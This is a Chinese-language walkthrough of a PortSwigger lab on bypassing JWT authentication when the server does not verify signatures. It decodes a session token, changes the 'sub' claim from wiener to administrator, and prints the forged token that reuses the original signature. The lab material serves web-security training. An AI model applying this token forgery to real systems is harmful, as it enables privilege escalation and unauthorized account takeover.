学徒-绕过JWT身份验证-接受任意签名
# 实验室:通过未经验证的签名绕过JWT身份验证
# 题目
此实验室使用基于 JWT 的机制来处理会话。其中存在实现缺陷,服务器不会验证它收到的任何 JWTs 签名。
若要解决实验室问题,请修改你的会话令牌,访问位于/admin
的管理面板并删除carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
。
提示
在尝试此实验之前,我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
- name: 实验室-学徒
desc: 通过未经验证的签名绕过JWT身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
bgColor: '#001350'
textColor: '#39d50c'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
# 解码原始令牌
<标头的base64>.<有效信息的base64>.N2q2Cxl5EtN_MqtlMC31znoutZyHTm0rAvSEwDFGSWQ2iXFypU85UJhF0hWTw_AdXYIkUbuTJYza8OM3nGrp41hPZA68uI1tkKwRGF6PUBCU6RyFxNmBt21hLj3mIbjzlT5lMrkneLNTw9wwcVYCCIP499PS_vMJO53hHPWV171QlCta8n93a46fLMrinTBQ_PiuorX2oqNBwbcD5PDr6LwBOAmWghVM8nncyZBKMwhDfW05GYBet58PXk8f6mZDIuxwNatKTYYh-_YbtAHOAUgbR-KJiAjUL9y_7cEYd1ls3fuUKNC9kBNgaC47Q2qmGxROHogglZp2ltqwWzEM4g
1
{
"kid":"fc6a0528-17b9-4c24-9eed-b3e47f549587",
"alg":"RS256"
}
{
"iss":"portswigger",
"exp":1708162851,"sub":"wiener"
}
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
# 篡改有效信息并生成新的JWT令牌
{"iss":"portswigger","exp":1708162851,"sub":"administrator"}
1
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODE2Mjg1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9
1
<原始标头>.<篡改后的有效信息base64>.<原始令牌>
1
<原始标头>.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODE2Mjg1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.<原始令牌>
1
eyJraWQiOiJmYzZhMDUyOC0xN2I5LTRjMjQtOWVlZC1iM2U0N2Y1NDk1ODciLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODE2Mjg1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.N2q2Cxl5EtN_MqtlMC31znoutZyHTm0rAvSEwDFGSWQ2iXFypU85UJhF0hWTw_AdXYIkUbuTJYza8OM3nGrp41hPZA68uI1tkKwRGF6PUBCU6RyFxNmBt21hLj3mIbjzlT5lMrkneLNTw9wwcVYCCIP499PS_vMJO53hHPWV171QlCta8n93a46fLMrinTBQ_PiuorX2oqNBwbcD5PDr6LwBOAmWghVM8nncyZBKMwhDfW05GYBet58PXk8f6mZDIuxwNatKTYYh-_YbtAHOAUgbR-KJiAjUL9y_7cEYd1ls3fuUKNC9kBNgaC47Q2qmGxROHogglZp2ltqwWzEM4g
1
编辑 (opens new window)